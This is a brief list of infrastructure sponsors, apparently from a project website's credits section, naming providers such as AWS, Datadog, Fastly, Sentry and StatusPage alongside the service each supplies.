AWS Cloud computing and Security Sponsor Datadog Monitoring Depot Continuous Integration Fastly CDN Google Download Analytics Sentry Error logging StatusPage Status page